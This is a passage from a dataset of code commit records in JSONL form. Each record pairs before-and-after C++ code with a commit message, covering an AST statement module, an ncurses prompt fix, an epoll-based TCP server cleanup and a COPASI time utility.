m_then(then), m_orelse(orelse) {}\n\nconst expression& conditional::cond(void) const {\n        return *m_cond;\n    }\nconst suite& conditional::then(void) const {\n    return *m_then;\n}\nconst suite& conditional::orelse(void) const {\n        return *m_orelse;\n}\n\n\n\nsuite::suite(std::vector<std::shared_ptr<statement> > &&stmts)\n    : node(*this),\n      m_stmts(std::move(stmts)) {}\nsuite::const_iterator suite::begin() const {\n    return boost::make_indirect_iterator(m_stmts.cbegin());\n}\n\nsuite::const_iterator suite::end() const {\n    return boost::make_indirect_iterator(m_stmts.cend());\n}\n\nint suite::size() const {\n    return m_stmts.size();\n}\n\n}\n\n<commit_msg>Straggler.<commit_after>#include \"statement.hpp\"\nnamespace backend {\n\nret::ret(const std::shared_ptr<expression> &val)\n    : statement(*this),\n      m_val(val) {}\n\nconst expression& ret::val(void) const {\n    return *m_val;\n}\n\nbind::bind(const std::shared_ptr<expression> &lhs,\n           const std::shared_ptr<expression> &rhs)\n    : statement(*this),\n      m_lhs(lhs), m_rhs(rhs) {}\n\nconst expression& bind::lhs(void) const {\n    return *m_lhs;\n}\nconst expression& bind::rhs(void) const {\n    return *m_rhs;\n}\n\ncall::call(const std::shared_ptr<apply> &n)\n    : statement(*this), m_sub(n) {}\n\nconst apply& call::sub(void) const {\n    return *m_sub;\n}\n        \n\nprocedure::procedure(const std::shared_ptr<name> &id,\n                     const std::shared_ptr<tuple> &args,\n                     const std::shared_ptr<suite> &stmts,\n                     const std::shared_ptr<type_t> &type,\n                     const std::shared_ptr<ctype::type_t> &ctype,\n                     const std::string &place)\n        : statement(*this),\n          m_id(id), m_args(args), m_stmts(stmts), m_type(type),\n          m_ctype(ctype), m_place(place) {}\n\nconst name& procedure::id(void) const {\n    return *m_id;\n}\n\nconst tuple& procedure::args(void) const {\n    return *m_args;\n}\n\nconst suite& procedure::stmts(void) const {\n    return *m_stmts;\n}\nconst type_t& procedure::type(void) const {\n    return *m_type;\n}\nconst ctype::type_t& procedure::ctype(void) const {\n    return *m_ctype;\n}\n\nstd::shared_ptr<type_t> procedure::p_type(void) const {\n    return m_type;\n}\n\nstd::shared_ptr<ctype::type_t> procedure::p_ctype(void) const {\n    return m_ctype;\n}\n\nconst std::string& procedure::place(void) const {\n    return m_place;\n}\n\nconditional::conditional(std::shared_ptr<expression> cond,\n                         std::shared_ptr<suite> then,\n                         std::shared_ptr<suite> orelse)\n    : statement(*this), m_cond(cond),\n      m_then(then), m_orelse(orelse) {}\n\nconst expression& conditional::cond(void) const {\n        return *m_cond;\n    }\nconst suite& conditional::then(void) const {\n    return *m_then;\n}\nconst suite& conditional::orelse(void) const {\n        return *m_orelse;\n}\n\n\n\nsuite::suite(std::vector<std::shared_ptr<statement> > &&stmts)\n    : node(*this),\n      m_stmts(std::move(stmts)) {}\nsuite::const_iterator suite::begin() const {\n    return boost::make_indirect_iterator(m_stmts.cbegin());\n}\n\nsuite::const_iterator suite::end() const {\n    return boost::make_indirect_iterator(m_stmts.cend());\n}\n\nint suite::size() const {\n    return m_stmts.size();\n}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <ncurses.h>\n#include <stdlib.h>\n#include <string>\n#include <iostream>\n#include \"key_aliases.hh\"\n\nstd::string prompt_for_test(const std::string& message, unsigned int y) {\n    std::string text;\n    int b_y,b_x,\n        x = 0,\n        xtrack = 0;\n    getyx(stdscr,b_y,b_x);\n\n    move(y,x);\n    printw(\"%s\",message.c_str());\n    x += message.length();\n    move(y,x);\n\n    while(true) {\n        std::string str;\n        char c;\n        while(true) {\n            switch(getch()) {\n            case ERR:\n                std::cout << \"ERROR character: \" << ERR;\n                endwin();\n                exit(2);\n                break;\n            case _escape:\n                \/\/ timeout(0);\/\/if waiting char then get\n                \/\/ char ch = getch();\n                \/\/ if(ch == -1) {\n                move(b_y,b_x);\n                return \"\";\n                \/\/ }\n                \/\/ timeout(-1);\n                break;\n            default:\n                move(y, ++xtrack);\n                addch(c);\n                str += c;\n                break;\n            }\n        }\n    }\n\n    return text;\n}\n\nstd::string prompt_for_test(const std::string& message) {\n    int y,x;\n    getmaxyx(stdscr,y,x);\n    return prompt_for_test(message,y-1);\n}\n<commit_msg>Fixed prompt functions<commit_after>#include <iostream>\n#include <ncurses.h>\n#include <stdlib.h>\n#include <string>\n\n#include \"key_aliases.hh\"\n\nstd::string prompt(const std::string& message, unsigned int y) {\n    std::string text;\n    int b_y,b_x,\n        x = 0,\n        xtrack = 0;\n    getyx(stdscr,b_y,b_x);\n\n    move(y,x);\n    printw(\"%s\",message.c_str());\n    x += message.length();\n    move(y,x);\n\n    while(true) {\n        char c = getch();\n        switch(c) {\n        case ERR:\n            std::cout << \"ERROR character: \" << ERR;\n            endwin();\n            exit(2);\n            break;\n        case _escape:\n            move(b_y,b_x);\n            return \"\";\n        case '\\n':\n            move(b_y,b_x);\n            return text;\n        default:\n            move(y, ++xtrack);\n            addch(c);\n            text += c;\n            break;\n        }\n    }\n\n    return text;\n}\n\nstd::string prompt(const std::string& message) {\n    int y,x;\n    getmaxyx(stdscr,y,x);\n    return prompt(message,y-1);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"tcpserver.h\"\r\n#include \"timer.h\"\r\n#include \"llist.h\"\r\n#include \"log.h\"\r\n#include \"socketops.h\"\r\n#include <time.h>\r\n#include <assert.h>\r\n#include <signal.h>\r\n\r\n#define EVENT_TOTAL_COUNT\t100000\r\n#define MAX_DESCRIPTORS     100000\r\n\r\nbool tcpserver::run_ = true;\r\n\r\ntcpserver::tcpserver()\r\n{\r\n    countfd_ = 0;\r\n    fdindex_ = 0;\r\n    handles_ = NULL;\r\n}\r\n\r\ntcpserver::~tcpserver()\r\n{\t\r\n    socketops::myclose(listenfd_);\r\n    socketops::myclose(epollfd_);\r\n    free(epollevarr_);\r\n    free(handles_);  \r\n}\r\n\r\nvoid tcpserver::sighandler(int signum)\r\n{\r\n    if(signum == SIGTERM || signum == SIGUSR1 || signum == SIGKILL)\r\n    {\r\n        log_error(\"recv signal: %d, process done...\", signum);\r\n        tcpserver::run_ = false;  \r\n    } \r\n}\r\n\r\nbool tcpserver::initsock(int listen_port)\r\n{\r\n\tlistenfd_ = socket(AF_INET, SOCK_STREAM, 0);\r\n\tif (listenfd_ == -1)\r\n\t\treturn false;\r\n\r\n    socketops::set_reuse(listenfd_);\r\n\tsocketops::set_nonblock(listenfd_);\r\n\r\n    int ret = socketops::mylisten(listenfd_, listen_port);\r\n    if(ret < 0)\r\n        return false;\r\n\r\n\tif(!init_event())\r\n        return false;\r\n\r\n\tlog_debug(\"server start running, listen:%d\", listen_port);\r\n\treturn true;\t\r\n}\r\n\r\nbool tcpserver::run()\r\n{\r\n\tint loop_times = 0;\r\n\tconst int timer_check_point = 10;\r\n\r\n\twhile(run_) \r\n\t{\r\n\t\tint res = epoll_wait(epollfd_, epollevarr_, EVENT_TOTAL_COUNT, 100);\r\n\t\tif (res < 0) {\r\n\t\t\tif (EINTR == errno)\r\n\t\t\t\tcontinue;\r\n\t\t\tlog_debug(\"epoll_wait return false, errno:%d, errstr:%s\", errno, strerror(errno));\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\telse if (0 == res) { \/\/timeout\t\r\n\t\t\tloop_times = 0;\r\n\t\t\trun_timer();\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif (++loop_times >= timer_check_point) {\r\n\t\t\t\tloop_times = 0;\r\n\t\t\t\trun_timer();\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfor(int i=0; i<res; i++)\r\n\t\t{\r\n\t\t\tif(epollevarr_[i].data.fd == listenfd_)\r\n\t\t\t{\r\n\t\t\t\thandle_accept();\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint fd = (uint32_t)epollevarr_[i].data.u64; \/\/ mask out the lower 32 bits\r\n\t\t\tuint32 index = (uint32_t)(epollevarr_[i].data.u64 >> 32);\r\n\t\t\ttcphandler* s = handles_[fd];\r\n\t\t\tif( s == 0 || s->get_fd_index() != index )\r\n\t\t\t{                      \r\n\t\t\t\tcontinue;       \/\/ epoll returned invalid fd \r\n\t\t\t}\r\n\t\t\tif(epollevarr_[i].events & ( EPOLLHUP | EPOLLERR ))\r\n\t\t\t{    \r\n\t\t\t\thandle_close(s);\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\telse if(epollevarr_[i].events & EPOLLIN)\r\n\t\t\t{\t\t\t\t\r\n\t\t\t\tif( s->handle_read() == -1 )\r\n\t\t\t\t{\r\n\t\t\t\t\thandle_close(s);\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tif( s->writable() )\r\n\t\t\t\t\twant_to_write(s);\r\n\t\t\t}\r\n\t\t\telse if( epollevarr_[i].events & EPOLLOUT )\r\n\t\t\t{\r\n\t\t\t\tif( s->handle_output() == -1 )\r\n\t\t\t\t{\r\n\t\t\t\t\thandle_close(s);\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tif( !s->writable() )\r\n\t\t\t\t\twant_to_read(s);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nbool tcpserver::init_event()\r\n{\r\n    handles_ =  (tcphandler**)malloc(MAX_DESCRIPTORS * sizeof(void*));\r\n    memset(handles_, 0, MAX_DESCRIPTORS * sizeof(void*));\r\n\r\n\tstruct rlimit rl;\r\n\tint nfiles = MAX_DESCRIPTORS;\r\n\tif (getrlimit(RLIMIT_NOFILE, &rl) == 0 &&\r\n\t\trl.rlim_cur != RLIM_INFINITY) {\r\n\t\t\tnfiles = rl.rlim_cur - 1;\r\n\t}\r\n    if( nfiles > MAX_DESCRIPTORS )\r\n        nfiles = MAX_DESCRIPTORS;\r\n\r\n\tlog_debug(\"epoll create files:%d\", nfiles);\r\n\tif (-1 == (epollfd_ = epoll_create(nfiles)))\r\n\t\treturn false;\r\n\t\r\n    \/\/ listen fd use ET mode\r\n\tstruct epoll_event ev;\r\n\tev.data.fd = listenfd_;\r\n\tev.events = EPOLLIN | EPOLLET;\r\n\tepoll_ctl(epollfd_, EPOLL_CTL_ADD, listenfd_, &ev);\r\n\r\n\tepollevarr_ = (struct epoll_event*)malloc(EVENT_TOTAL_COUNT * sizeof(struct epoll_event));\r\n\r\n    signal(SIGTERM, tcpserver::sighandler);    \t\r\n    signal(SIGUSR1, tcpserver::sighandler);\r\n\tsignal(SIGKILL, tcpserver::sighandler);\r\n \r\n\treturn true;\r\n}\r\n\r\nint tcpserver::handle_accept()\r\n{\r\n\tSOCKET conn_fd;\r\n    do \r\n    {\r\n        if((conn_fd = socketops::myaccept(listenfd_)) == -1)\r\n        {\r\n            break;\r\n        }\r\n        socketops::set_socketbuf(conn_fd,16*1024);\r\n        if(socketops::set_nonblock(conn_fd) < 0)\r\n        {\r\n            log_error(\"SetNonblock faild \\n\");\r\n            socketops::myclose(conn_fd);\r\n            assert(false);\r\n            continue;\r\n        }\r\n        if(socketops::set_keepalive(conn_fd) < 0)\r\n        {\r\n            log_error(\"set_keepalive faild \\n\");\r\n            socketops::myclose(conn_fd);\r\n            assert(false);\r\n            continue;\r\n        }\t\r\n        \r\n        tcphandler* sh = allocatehandler(conn_fd);\r\n        if(sh == NULL)\r\n        {\r\n            log_error(\"sh is null \\n\");\r\n            socketops::myclose(conn_fd);\r\n            assert(false);\r\n            continue;\r\n        }\r\n        addsocket(sh);\r\n        sh->handle_connected();\r\n    } while(conn_fd > 0);\r\n\r\n\treturn 0;\r\n}\r\n\r\nvoid tcpserver::handle_close(tcphandler* pHandler)\r\n{\r\n    assert(pHandler != NULL);\r\n    pHandler->handle_close();\r\n\r\n    delsocket(pHandler);\r\n\r\n    if(pHandler->getneeddel())\r\n    {\r\n        delete pHandler;\r\n        pHandler = NULL;\r\n    }\r\n}\r\n\r\ntcphandler* tcpserver::allocatehandler(SOCKET sock_fd)\r\n{\r\n\ttcphandler* sh = createhandler();\r\n\tif(sh != NULL)\r\n\t{\r\n        sh->setneeddel(true);\r\n\t\tsh->setfd(sock_fd);\t\t\r\n\t\tsh->server(this);\r\n\t}\r\n\treturn sh;\r\n}\r\nbool tcpserver::disconnect(tcphandler * pSocketHandler)\r\n{\r\n    log_debug(\"disconnect \\n\");\r\n    handle_close(pSocketHandler);\r\n \treturn true;\r\n}\r\nbool tcpserver::reg(tcphandler *pHandler)\r\n{\r\n    if(pHandler == NULL)\r\n        return false;\r\n\r\n    addsocket(pHandler);\r\n\r\n    pHandler->server(this);\r\n    pHandler->handle_connected();\t\r\n\r\n\treturn true;\r\n}\r\n\r\nvoid tcpserver::addsocket(tcphandler * s)\r\n{\r\n    countfd_++;\r\n    fdindex_++;\r\n\r\n    s->set_fd_index(fdindex_);\r\n\r\n    \/\/log_debug(\"Add one fd:%d ,Cur handles_%d \\n\",s->getfd(),countfd_);\r\n\r\n    assert( s->getfd() < MAX_DESCRIPTORS );\r\n    assert(handles_[s->getfd()] == 0);\r\n    handles_[s->getfd()] = s;\r\n    \r\n#ifdef WIN32\r\n    FD_SET(s->getfd(), &m_rset);\r\n    maxfd_ = (s->getfd() > maxfd_) ? s->getfd() : maxfd_;    \r\n#else\r\n    struct epoll_event ev;\r\n    memset(&ev, 0, sizeof(epoll_event));\r\n\r\n    \/* store the generation counter in the upper 32 bits, the fd in the lower 32 bits *\/\r\n    ev.data.u64 = (uint64_t)(uint32)(s->getfd()) | ((uint64_t)(uint32)(s->get_fd_index()) << 32);\r\n\r\n    ev.events = EPOLLIN;\r\n    epoll_ctl(epollfd_, EPOLL_CTL_ADD, s->getfd(), &ev);\r\n#endif\r\n}\r\n\r\nvoid tcpserver::delsocket(tcphandler * s)\r\n{\r\n    countfd_--;\r\n    \/\/log_debug(\"delete one fd: %d ,cur handles_: %d \\n\",s->getfd(),countfd_);\r\n\r\n    assert(handles_[s->getfd()] == s);\r\n    handles_[s->getfd()] = 0;\r\n\r\n#ifdef WIN32\r\n    FD_CLR(s->getfd(), &m_rset);\r\n    FD_CLR(s->getfd(), &m_wset);\r\n#else\r\n    struct epoll_event ev;\r\n    memset(&ev, 0, sizeof(epoll_event));\r\n    ev.data.u64 = (uint64_t)(uint32)(s->getfd()) | ((uint64_t)(uint32)(s->get_fd_index()) << 32);\r\n\r\n    ev.events =  EPOLLOUT | EPOLLIN;\r\n\r\n    epoll_ctl(epollfd_, EPOLL_CTL_DEL, s->getfd(), &ev);\r\n#endif\r\n    socketops::myclose(s->getfd());\r\n}\r\n\r\nvoid tcpserver::want_to_write(tcphandler * s)\r\n{\r\n#ifndef WIN32\r\n    struct epoll_event ev;\r\n    memset(&ev, 0, sizeof(epoll_event));\r\n    ev.data.u64 = (uint64_t)(uint32)(s->getfd()) | ((uint64_t)(uint32)(s->get_fd_index()) << 32);\r\n\r\n    ev.events = EPOLLOUT ;\r\n    epoll_ctl(epollfd_, EPOLL_CTL_MOD, s->getfd(), &ev);\r\n#endif\r\n}\r\nvoid tcpserver::want_to_read(tcphandler * s)\r\n{\r\n#ifndef WIN32\r\n    struct epoll_event ev;\r\n    memset(&ev, 0, sizeof(epoll_event));\r\n    ev.data.u64 = (uint64_t)(uint32)(s->getfd()) | ((uint64_t)(uint32)(s->get_fd_index()) << 32);\r\n\r\n    ev.events = EPOLLIN ;\r\n    epoll_ctl(epollfd_, EPOLL_CTL_MOD, s->getfd(), &ev);\r\n#endif\r\n}\r\n<commit_msg>rename<commit_after>#include \"tcpserver.h\"\r\n#include \"timer.h\"\r\n#include \"llist.h\"\r\n#include \"log.h\"\r\n#include \"socketops.h\"\r\n#include <time.h>\r\n#include <assert.h>\r\n#include <signal.h>\r\n\r\n#define EVENT_TOTAL_COUNT\t100000\r\n#define MAX_DESCRIPTORS     100000\r\n\r\nbool tcpserver::run_ = true;\r\n\r\ntcpserver::tcpserver()\r\n{\r\n    countfd_ = 0;\r\n    fdindex_ = 0;\r\n    handles_ = NULL;\r\n}\r\n\r\ntcpserver::~tcpserver()\r\n{\t\r\n    socketops::myclose(listenfd_);\r\n    socketops::myclose(epollfd_);\r\n    free(epollevarr_);\r\n    free(handles_);  \r\n}\r\n\r\nvoid tcpserver::sighandler(int signum)\r\n{\r\n    if(signum == SIGTERM || signum == SIGUSR1 || signum == SIGKILL)\r\n    {\r\n        log_error(\"recv signal: %d, process done...\", signum);\r\n        tcpserver::run_ = false;  \r\n    } \r\n}\r\n\r\nbool tcpserver::initsock(int listen_port)\r\n{\r\n\tlistenfd_ = socket(AF_INET, SOCK_STREAM, 0);\r\n\tif (listenfd_ == -1)\r\n\t\treturn false;\r\n\r\n    socketops::set_reuse(listenfd_);\r\n\tsocketops::set_nonblock(listenfd_);\r\n\r\n    int ret = socketops::mylisten(listenfd_, listen_port);\r\n    if(ret < 0)\r\n        return false;\r\n\r\n\tif(!init_event())\r\n        return false;\r\n\r\n\tlog_debug(\"server start running, listen:%d\", listen_port);\r\n\treturn true;\t\r\n}\r\n\r\nbool tcpserver::run()\r\n{\r\n\tint loop_times = 0;\r\n\tconst int timer_check_point = 10;\r\n\r\n\twhile(run_) \r\n\t{\r\n\t\tint res = epoll_wait(epollfd_, epollevarr_, EVENT_TOTAL_COUNT, 100);\r\n\t\tif (res < 0) {\r\n\t\t\tif (EINTR == errno)\r\n\t\t\t\tcontinue;\r\n\t\t\tlog_debug(\"epoll_wait return false, errno:%d, errstr:%s\", errno, strerror(errno));\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\telse if (0 == res) { \/\/timeout\t\r\n\t\t\tloop_times = 0;\r\n\t\t\trun_timer();\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif (++loop_times >= timer_check_point) {\r\n\t\t\t\tloop_times = 0;\r\n\t\t\t\trun_timer();\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfor(int i=0; i<res; i++)\r\n\t\t{\r\n\t\t\tif(epollevarr_[i].data.fd == listenfd_)\r\n\t\t\t{\r\n\t\t\t\thandle_accept();\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint fd = (uint32_t)epollevarr_[i].data.u64; \/\/ mask out the lower 32 bits\r\n\t\t\tuint32 index = (uint32_t)(epollevarr_[i].data.u64 >> 32);\r\n\t\t\ttcphandler* s = handles_[fd];\r\n\t\t\tif( s == 0 || s->get_fd_index() != index )\r\n\t\t\t{                      \r\n\t\t\t\tcontinue;       \/\/ epoll returned invalid fd \r\n\t\t\t}\r\n\t\t\tif(epollevarr_[i].events & ( EPOLLHUP | EPOLLERR ))\r\n\t\t\t{    \r\n\t\t\t\thandle_close(s);\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\telse if(epollevarr_[i].events & EPOLLIN)\r\n\t\t\t{\t\t\t\t\r\n\t\t\t\tif( s->handle_read() == -1 )\r\n\t\t\t\t{\r\n\t\t\t\t\thandle_close(s);\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tif( s->writable() )\r\n\t\t\t\t\twant_to_write(s);\r\n\t\t\t}\r\n\t\t\telse if( epollevarr_[i].events & EPOLLOUT )\r\n\t\t\t{\r\n\t\t\t\tif( s->handle_output() == -1 )\r\n\t\t\t\t{\r\n\t\t\t\t\thandle_close(s);\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tif( !s->writable() )\r\n\t\t\t\t\twant_to_read(s);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nbool tcpserver::init_event()\r\n{\r\n    handles_ =  (tcphandler**)malloc(MAX_DESCRIPTORS * sizeof(void*));\r\n    memset(handles_, 0, MAX_DESCRIPTORS * sizeof(void*));\r\n\r\n\tstruct rlimit rl;\r\n\tint nfiles = MAX_DESCRIPTORS;\r\n\tif (getrlimit(RLIMIT_NOFILE, &rl) == 0 &&\r\n\t\trl.rlim_cur != RLIM_INFINITY) {\r\n\t\t\tnfiles = rl.rlim_cur - 1;\r\n\t}\r\n    if( nfiles > MAX_DESCRIPTORS )\r\n        nfiles = MAX_DESCRIPTORS;\r\n\r\n\tlog_debug(\"epoll create files:%d\", nfiles);\r\n\tif (-1 == (epollfd_ = epoll_create(nfiles)))\r\n\t\treturn false;\r\n\t\r\n    \/\/ listen fd use ET mode\r\n\tstruct epoll_event ev;\r\n\tev.data.fd = listenfd_;\r\n\tev.events = EPOLLIN | EPOLLET;\r\n\tepoll_ctl(epollfd_, EPOLL_CTL_ADD, listenfd_, &ev);\r\n\r\n\tepollevarr_ = (struct epoll_event*)malloc(EVENT_TOTAL_COUNT * sizeof(struct epoll_event));\r\n\r\n    signal(SIGTERM, tcpserver::sighandler);    \t\r\n    signal(SIGUSR1, tcpserver::sighandler);\r\n\tsignal(SIGKILL, tcpserver::sighandler);\r\n \r\n\treturn true;\r\n}\r\n\r\nint tcpserver::handle_accept()\r\n{\r\n\tSOCKET conn_fd;\r\n    do \r\n    {\r\n        if((conn_fd = socketops::myaccept(listenfd_)) == -1)\r\n        {\r\n            break;\r\n        }\r\n        socketops::set_socketbuf(conn_fd,16*1024);\r\n        if(socketops::set_nonblock(conn_fd) < 0)\r\n        {\r\n            log_error(\"set nonblock failure\");\r\n            socketops::myclose(conn_fd);\r\n            assert(false);\r\n            continue;\r\n        }\r\n        if(socketops::set_keepalive(conn_fd) < 0)\r\n        {\r\n            log_error(\"set keepalive failure\");\r\n            socketops::myclose(conn_fd);\r\n            assert(false);\r\n            continue;\r\n        }\r\n        tcphandler* sh = allocatehandler(conn_fd);\r\n        if(sh == NULL)\r\n        {\r\n            log_error(\"allocate tcphandler failure\");\r\n            socketops::myclose(conn_fd);\r\n            assert(false);\r\n            continue;\r\n        }\r\n        addsocket(sh);\r\n        sh->handle_connected();\r\n    } while(conn_fd > 0);\r\n\r\n\treturn 0;\r\n}\r\n\r\nvoid tcpserver::handle_close(tcphandler* pHandler)\r\n{\r\n    assert(pHandler != NULL);\r\n    pHandler->handle_close();\r\n\r\n    delsocket(pHandler);\r\n\r\n    if(pHandler->getneeddel())\r\n    {\r\n        delete pHandler;\r\n        pHandler = NULL;\r\n    }\r\n}\r\n\r\ntcphandler* tcpserver::allocatehandler(SOCKET sock_fd)\r\n{\r\n\ttcphandler* sh = createhandler();\r\n\tif(sh != NULL)\r\n\t{\r\n        sh->setneeddel(true);\r\n\t\tsh->setfd(sock_fd);\t\t\r\n\t\tsh->server(this);\r\n\t}\r\n\treturn sh;\r\n}\r\nbool tcpserver::disconnect(tcphandler * pSocketHandler)\r\n{\r\n    log_debug(\"disconnect\");\r\n    handle_close(pSocketHandler);\r\n \treturn true;\r\n}\r\nbool tcpserver::reg(tcphandler *pHandler)\r\n{\r\n    if(pHandler == NULL)\r\n        return false;\r\n\r\n    addsocket(pHandler);\r\n\r\n    pHandler->server(this);\r\n    pHandler->handle_connected();\t\r\n\r\n\treturn true;\r\n}\r\n\r\nvoid tcpserver::addsocket(tcphandler * s)\r\n{\r\n    countfd_++;\r\n    fdindex_++;\r\n\r\n    s->set_fd_index(fdindex_);\r\n\r\n    \/\/log_debug(\"Add one fd:%d ,Cur handles_%d \\n\",s->getfd(),countfd_);\r\n\r\n    assert( s->getfd() < MAX_DESCRIPTORS );\r\n    assert(handles_[s->getfd()] == 0);\r\n    handles_[s->getfd()] = s;\r\n\r\n    struct epoll_event ev;\r\n    memset(&ev, 0, sizeof(epoll_event));\r\n\r\n    \/* store the generation counter in the upper 32 bits, the fd in the lower 32 bits *\/\r\n    ev.data.u64 = (uint64_t)(uint32)(s->getfd()) | ((uint64_t)(uint32)(s->get_fd_index()) << 32);\r\n\r\n    ev.events = EPOLLIN;\r\n    epoll_ctl(epollfd_, EPOLL_CTL_ADD, s->getfd(), &ev);\r\n}\r\n\r\nvoid tcpserver::delsocket(tcphandler * s)\r\n{\r\n    countfd_--;\r\n    \/\/log_debug(\"delete one fd: %d ,cur handles_: %d \\n\",s->getfd(),countfd_);\r\n\r\n    assert(handles_[s->getfd()] == s);\r\n    handles_[s->getfd()] = 0;\r\n\r\n#ifdef WIN32\r\n    FD_CLR(s->getfd(), &m_rset);\r\n    FD_CLR(s->getfd(), &m_wset);\r\n#else\r\n    struct epoll_event ev;\r\n    memset(&ev, 0, sizeof(epoll_event));\r\n    ev.data.u64 = (uint64_t)(uint32)(s->getfd()) | ((uint64_t)(uint32)(s->get_fd_index()) << 32);\r\n\r\n    ev.events =  EPOLLOUT | EPOLLIN;\r\n\r\n    epoll_ctl(epollfd_, EPOLL_CTL_DEL, s->getfd(), &ev);\r\n#endif\r\n    socketops::myclose(s->getfd());\r\n}\r\n\r\nvoid tcpserver::want_to_write(tcphandler * s)\r\n{\r\n#ifndef WIN32\r\n    struct epoll_event ev;\r\n    memset(&ev, 0, sizeof(epoll_event));\r\n    ev.data.u64 = (uint64_t)(uint32)(s->getfd()) | ((uint64_t)(uint32)(s->get_fd_index()) << 32);\r\n\r\n    ev.events = EPOLLOUT ;\r\n    epoll_ctl(epollfd_, EPOLL_CTL_MOD, s->getfd(), &ev);\r\n#endif\r\n}\r\nvoid tcpserver::want_to_read(tcphandler * s)\r\n{\r\n#ifndef WIN32\r\n    struct epoll_event ev;\r\n    memset(&ev, 0, sizeof(epoll_event));\r\n    ev.data.u64 = (uint64_t)(uint32)(s->getfd()) | ((uint64_t)(uint32)(s->get_fd_index()) << 32);\r\n\r\n    ev.events = EPOLLIN ;\r\n    epoll_ctl(epollfd_, EPOLL_CTL_MOD, s->getfd(), &ev);\r\n#endif\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/* Begin CVS Header\n   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/utilities\/CopasiTime.cpp,v $\n   $Revision: 1.9 $\n   $Name:  $\n   $Author: shoops $ \n   $Date: 2005\/01\/28 16:13:09 $\n   End CVS Header *\/\n\n#include <sstream>\n#include <time.h>\n\n#include \"copasi.h\"\n#include \"CopasiTime.h\"\n#include \"utility.h\"\n\nCCopasiTimeVariable::CCopasiTimeVariable():\n    mTime(LLONG_CONST(0))\n{}\n\nCCopasiTimeVariable::CCopasiTimeVariable(const CCopasiTimeVariable & src):\n    mTime(src.mTime)\n{}\n\nCCopasiTimeVariable::CCopasiTimeVariable(const C_INT64 & value):\n    mTime(value)\n{}\n\nCCopasiTimeVariable::~CCopasiTimeVariable() {}\n\nCCopasiTimeVariable CCopasiTimeVariable::operator + (const CCopasiTimeVariable & value)\n{return mTime + value.mTime;}\n\nCCopasiTimeVariable CCopasiTimeVariable::operator - (const CCopasiTimeVariable & value)\n{return mTime - value.mTime;}\n\nCCopasiTimeVariable & CCopasiTimeVariable::operator = (const CCopasiTimeVariable & rhs)\n{\n  mTime = rhs.mTime;\n  return *this;\n}\n\nCCopasiTimeVariable & CCopasiTimeVariable::operator = (const C_INT64 & value)\n{\n  mTime = value;\n  return *this;\n}\n\nbool CCopasiTimeVariable::operator < (const CCopasiTimeVariable & value)\n{return (mTime < value.mTime);}\n\nstd::string CCopasiTimeVariable::isoFormat() const\n  {\n    std::stringstream Iso;\n    bool first = true;\n\n    if (mTime < LLONG_CONST(0))\n      {\n        CCopasiTimeVariable Tmp(-mTime);\n        Iso << \"-\";\n        Iso << Tmp.isoFormat();\n\n        return Iso.str();\n      }\n\n    if (mTime >= LLONG_CONST(86400000000))\n      {\n        Iso << LL2String(getDays()) << \":\";\n        first = false;\n      }\n\n    if (mTime >= LLONG_CONST(3600000000))\n      Iso << LL2String(getHours(true), first ? 0 : 2) << \":\";\n    if (mTime >= LLONG_CONST(60000000))\n      Iso << LL2String(getMinutes(true), first ? 0 : 2) << \":\";\n    if (mTime >= LLONG_CONST(1000000))\n      Iso << LL2String(getSeconds(true), first ? 0 : 2) << \".\";\n    else\n      Iso << \"0.\";\n\n    Iso << LL2String(getMilliSeconds(true), 3) << LL2String(getMicroSeconds(true), 3);\n\n    return Iso.str();\n  }\n\nC_INT64 CCopasiTimeVariable::getMicroSeconds(const bool & bounded) const\n  {\n    if (bounded) return mTime % LLONG_CONST(1000);\n    else return mTime;\n  }\n\nC_INT64 CCopasiTimeVariable::getMilliSeconds(const bool & bounded) const\n  {\n    C_INT64 MilliSeconds = mTime \/ LLONG_CONST(1000);\n\n    if (bounded) return MilliSeconds % LLONG_CONST(1000);\n    else return MilliSeconds;\n  }\n\nC_INT64 CCopasiTimeVariable::getSeconds(const bool & bounded) const\n  {\n    C_INT64 Seconds = mTime \/ LLONG_CONST(1000000);\n\n    if (bounded) return Seconds % LLONG_CONST(60);\n    else return Seconds;\n  }\n\nC_INT64 CCopasiTimeVariable::getMinutes(const bool & bounded) const\n  {\n    C_INT64 Minutes = mTime \/ LLONG_CONST(60000000);\n\n    if (bounded) return Minutes % LLONG_CONST(60);\n    else return Minutes;\n  }\n\nC_INT64 CCopasiTimeVariable::getHours(const bool & bounded) const\n  {\n    C_INT64 Hours = mTime \/ LLONG_CONST(3600000000);\n\n    if (bounded) return Hours % LLONG_CONST(24);\n    else return Hours;\n  }\n\nC_INT64 CCopasiTimeVariable::getDays() const\n  {\n    C_INT64 Days = mTime \/ LLONG_CONST(86400000000);\n\n    return Days;\n  }\n\n#ifndef WIN32\n\n#include <sys\/time.h>\n\n\/\/static\nCCopasiTimeVariable CCopasiTimeVariable::getCurrentWallTime()\n{\n  timeval ttt;\n  gettimeofday(&ttt, 0);\n  C_INT64 time;\n  time = ((C_INT64) ttt.tv_sec) * LLONG_CONST(1000000) + (C_INT64) ttt.tv_usec;\n  return time;\n}\n#else\n\n#include <windows.h>\n#include <winbase.h>\n\n\/\/static\nCCopasiTimeVariable CCopasiTimeVariable::getCurrentWallTime()\n{\n  LARGE_INTEGER SystemTime;\n  GetSystemTimeAsFileTime((FILETIME *) 